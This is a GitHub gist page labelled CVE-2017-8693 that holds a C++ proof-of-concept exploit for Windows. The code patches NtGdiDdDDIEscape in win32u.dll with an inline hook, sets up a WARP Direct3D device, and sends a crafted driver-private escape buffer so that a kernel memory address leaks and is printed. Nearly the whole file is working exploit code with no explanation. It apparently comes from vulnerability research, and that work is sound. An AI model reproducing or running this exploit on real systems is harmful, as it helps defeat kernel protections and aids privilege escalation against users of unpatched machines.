Created
February 2, 2018 09:27
-
-
Save wmliang/e67faeb9c4f618018ae205307755d055 to your computer and use it in GitHub Desktop.
CVE-2017-8693
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// TestGraphicDrv.cpp : Defines the entry point for the console application. | |
// | |
#include "stdafx.h" | |
#include <windows.h> | |
#include <d3dkmthk.h> | |
#include <d3d11.h> | |
#if defined _M_X64 | |
#define TRAMPOLINE_BYTES 12 | |
#elif defined _M_IX86 | |
#define TRAMPOLINE_BYTES 5 | |
#endif | |
PSLIST_ENTRY pHookSetupFirstEntry, pHookSetupListEntry; | |
PSLIST_HEADER pHookSetupListHead; | |
typedef struct _HOOK_SETUP_ITEM { | |
SLIST_ENTRY ItemEntry; | |
PVOID OriginalFunction; | |
PVOID HookFunction; | |
BYTE FunctionOriginalOpcodes[TRAMPOLINE_BYTES]; | |
BYTE JmpOpcodes[TRAMPOLINE_BYTES]; | |
} HOOK_SETUP_ITEM, *PHOOK_SETUP_ITEM; | |
PHOOK_SETUP_ITEM SearchInHookSetupList(PVOID originalFunction); | |
CRITICAL_SECTION g_CS_D3DKMTEscape; | |
typedef NTSTATUS(WINAPI *D3DKMTESCAPE)(D3DKMT_ESCAPE*); | |
D3DKMTESCAPE pfnD3DKMTEscape; // Pointer to the original D3DKMTEscape function | |
NTSTATUS WINAPI D3DKMTEscape_hook(D3DKMT_ESCAPE*); // Contract for the hook of D3DKMTEscape | |
void WarpEscape(D3DKMT_ESCAPE *pData); | |
void insertHook(LPVOID hookFunction, LPVOID originalFunction, BYTE *oldBytes, BYTE *jmpBytes) | |
{ | |
DWORD oldProtect = 0; | |
#if defined _M_X64 | |
// 64-bit API Hooking | |
BYTE tempJMP[TRAMPOLINE_BYTES] = { | |
0x48, 0xB8, // MOV RAX, 0xDEADBEEFDEADBEEF | |
0xDE, 0xAD, 0xBE, 0xEF, | |
0xDE, 0xAD, 0xBE, 0xEF, | |
0xFF, 0xE0 // JMP RAX | |
}; | |
memcpy(jmpBytes, tempJMP, TRAMPOLINE_BYTES); | |
VirtualProtect((LPVOID)originalFunction, 1, PAGE_EXECUTE_READWRITE, &oldProtect); | |
memcpy(oldBytes, originalFunction, TRAMPOLINE_BYTES); | |
memcpy(&jmpBytes[2], &hookFunction, 8); | |
#elif defined _M_IX86 | |
// 32-bit API Hooking | |
BYTE tempJMP[TRAMPOLINE_BYTES] = { 0xE9, 0xDE, 0xAD, 0xBE, 0xEF }; // JMP 0xDEADBEEF | |
memcpy(jmpBytes, tempJMP, TRAMPOLINE_BYTES); | |
DWORD JMPSize = ((DWORD)hookFunction - (DWORD)originalFunction - 5); | |
VirtualProtect((LPVOID)originalFunction, TRAMPOLINE_BYTES, | |
PAGE_EXECUTE_READWRITE, &oldProtect); | |
memcpy(oldBytes, originalFunction, TRAMPOLINE_BYTES); | |
memcpy(&jmpBytes[1], &JMPSize, 4); | |
#endif | |
memcpy(originalFunction, jmpBytes, TRAMPOLINE_BYTES); | |
} | |
int install_hook(PVOID originalFunction, PVOID hookFunction) { | |
if (originalFunction == NULL) { | |
return -1; | |
} | |
PHOOK_SETUP_ITEM newHookSetup = (PHOOK_SETUP_ITEM)_aligned_malloc(sizeof(HOOK_SETUP_ITEM), MEMORY_ALLOCATION_ALIGNMENT); | |
newHookSetup->OriginalFunction = originalFunction; | |
newHookSetup->HookFunction = hookFunction; | |
pHookSetupFirstEntry = InterlockedPushEntrySList(pHookSetupListHead, &(newHookSetup->ItemEntry)); | |
insertHook( | |
newHookSetup->HookFunction, | |
newHookSetup->OriginalFunction, | |
newHookSetup->FunctionOriginalOpcodes, | |
newHookSetup->JmpOpcodes | |
); | |
return 0; | |
} | |
PHOOK_SETUP_ITEM SearchInHookSetupList(PVOID originalFunction) { | |
// Fucking SLIST... | |
#if defined _M_X64 | |
pHookSetupListEntry = (PSLIST_ENTRY)(pHookSetupListHead->HeaderX64.NextEntry << 4); | |
#elif defined _M_IX86 | |
pHookSetupListEntry = &pHookSetupListHead->Next; | |
#endif | |
pHookSetupListEntry = pHookSetupListEntry->Next; | |
while (pHookSetupListEntry != NULL) { | |
if (((PHOOK_SETUP_ITEM)pHookSetupListEntry)->OriginalFunction == originalFunction) | |
break; | |
pHookSetupListEntry = pHookSetupListEntry->Next; | |
} | |
return (PHOOK_SETUP_ITEM)pHookSetupListEntry; | |
} | |
BOOL installHooks() { | |
int success = 0; | |
// Initialize the list header to a MEMORY_ALLOCATION_ALIGNMENT boundary. | |
pHookSetupListHead = (PSLIST_HEADER)_aligned_malloc(sizeof(SLIST_HEADER), MEMORY_ALLOCATION_ALIGNMENT); | |
if (NULL == pHookSetupListHead) { | |
printf("Memory allocation failed.\n"); | |
return 0; | |
} | |
InitializeSListHead(pHookSetupListHead); | |
InitializeCriticalSection(&g_CS_D3DKMTEscape); | |
pfnD3DKMTEscape = (D3DKMTESCAPE)GetProcAddress(GetModuleHandleA("win32u.dll"), "NtGdiDdDDIEscape"); | |
success += install_hook(pfnD3DKMTEscape, D3DKMTEscape_hook); | |
// Dummy Hook,, hack for SLISTS :) | |
PHOOK_SETUP_ITEM newHookSetup = (PHOOK_SETUP_ITEM)_aligned_malloc(sizeof(HOOK_SETUP_ITEM), MEMORY_ALLOCATION_ALIGNMENT); | |
newHookSetup->OriginalFunction = (PVOID)0xDEADBEEF; | |
newHookSetup->HookFunction = (PVOID)0xDEADBEEF; | |
pHookSetupFirstEntry = InterlockedPushEntrySList(pHookSetupListHead, &(newHookSetup->ItemEntry)); | |
return success == 0; | |
} | |
void InitializeD3D(HWND hWnd) { | |
DXGI_SWAP_CHAIN_DESC sd; | |
ZeroMemory(&sd, sizeof(sd)); | |
sd.BufferCount = 1; | |
sd.BufferDesc.Width = 640; | |
sd.BufferDesc.Height = 480; | |
sd.BufferDesc.Format = DXGI_FORMAT_R8G8B8A8_UNORM; | |
sd.BufferDesc.RefreshRate.Numerator = 60; | |
sd.BufferDesc.RefreshRate.Denominator = 1; | |
sd.BufferUsage = DXGI_USAGE_RENDER_TARGET_OUTPUT; | |
sd.OutputWindow = hWnd; | |
sd.SampleDesc.Count = 1; | |
sd.SampleDesc.Quality = 0; | |
sd.Windowed = TRUE; | |
D3D_FEATURE_LEVEL FeatureLevels = D3D_FEATURE_LEVEL_9_1; | |
D3D_FEATURE_LEVEL FeatureLevel; | |
IDXGISwapChain *pSwapChain = (IDXGISwapChain *)malloc(sizeof(IDXGISwapChain)); | |
ID3D11Device *g_pd3dDevice = (ID3D11Device *)malloc(sizeof(ID3D11Device)); | |
ID3D11DeviceContext *ppImmediateContext = (ID3D11DeviceContext *)malloc(sizeof(ID3D11DeviceContext)); | |
HRESULT hr = S_OK; | |
hr = D3D11CreateDeviceAndSwapChain(NULL, | |
D3D_DRIVER_TYPE_WARP, | |
NULL, | |
0, | |
&FeatureLevels, | |
1, | |
D3D11_SDK_VERSION, | |
&sd, | |
&pSwapChain, | |
&g_pd3dDevice, | |
&FeatureLevel, | |
&ppImmediateContext); | |
char buff[256] = { 0 }; | |
sprintf(buff, "hr: %08x\n", hr); | |
//MessageBoxA(hWnd, buff, "info", 0); | |
} | |
NTSTATUS WINAPI D3DKMTEscape_hook(D3DKMT_ESCAPE *pData) | |
{ | |
//__debugbreak(); | |
EnterCriticalSection(&g_CS_D3DKMTEscape); | |
PHOOK_SETUP_ITEM p = SearchInHookSetupList(pfnD3DKMTEscape); | |
if (!p) { | |
printf("Error: Hook not found in list!\n"); | |
exit(-1); | |
} | |
memcpy(pfnD3DKMTEscape, p->FunctionOriginalOpcodes, TRAMPOLINE_BYTES); | |
// If there's a succesfully running log file handler. | |
NTSTATUS retValue; | |
WarpEscape(pData); | |
// Call the original function, with original behavior. | |
retValue = pfnD3DKMTEscape(pData); | |
// Finally, set the hook back, and restablish the original protection. | |
memcpy(pfnD3DKMTEscape, p->JmpOpcodes, TRAMPOLINE_BYTES); | |
LeaveCriticalSection(&g_CS_D3DKMTEscape); | |
return retValue; | |
} | |
void WarpEscape(D3DKMT_ESCAPE *pData) | |
{ | |
static int i = 0; | |
D3DKMT_ESCAPE pEscape = { 0 }; | |
memcpy(&pEscape, pData, sizeof(D3DKMT_ESCAPE)); | |
char blob[0x1000]; | |
memset(blob, 0x00, sizeof(blob)); | |
pEscape.Type = D3DKMT_ESCAPE_DRIVERPRIVATE; | |
char *mem = (char *)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x20); | |
//D3DDDI_ESCAPEFLAGS flags = { 0 }; | |
//flags.Value = 0xFFFFFFF0; | |
*(DWORD *)(mem + 0x00) = 4; | |
*(PVOID *)(mem + 0x10) = blob; | |
*(PVOID *)(mem + 0x18) = (PVOID)0x1000; | |
//pEscape.Flags = flags; | |
pEscape.pPrivateDriverData = mem; | |
pEscape.PrivateDriverDataSize = 0x20; | |
pfnD3DKMTEscape(&pEscape); | |
if (*(PVOID *)(mem + 0x8)) { | |
printf("Leaked Address: %p\n", *(PVOID *)(mem + 0x8)); | |
} | |
HeapFree(GetProcessHeap(), 0, mem); | |
} | |
int main() | |
{ | |
installHooks(); | |
InitializeD3D(0); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment